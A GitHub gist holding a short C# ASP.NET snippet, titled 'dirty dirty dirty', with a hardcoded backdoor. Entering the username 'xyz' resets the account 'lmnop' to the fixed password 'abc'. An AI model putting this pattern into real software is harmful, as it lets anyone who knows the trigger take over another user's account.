Last active
April 21, 2016 00:47
-
-
Save camt/4b6cf8e0cc8ab508e3ae95b17ef1ceb0 to your computer and use it in GitHub Desktop.
dirty dirty dirty
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (model.UserName.ToLower()=="xyz") { | |
MembershipUser mu = Membership.GetUser("lmnop"); | |
if (mu != null) { | |
mu.ChangePassword(mu.ResetPassword(), "abc"); | |
ModelState.AddModelError("", "Password has been reset."); | |
return View(model); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment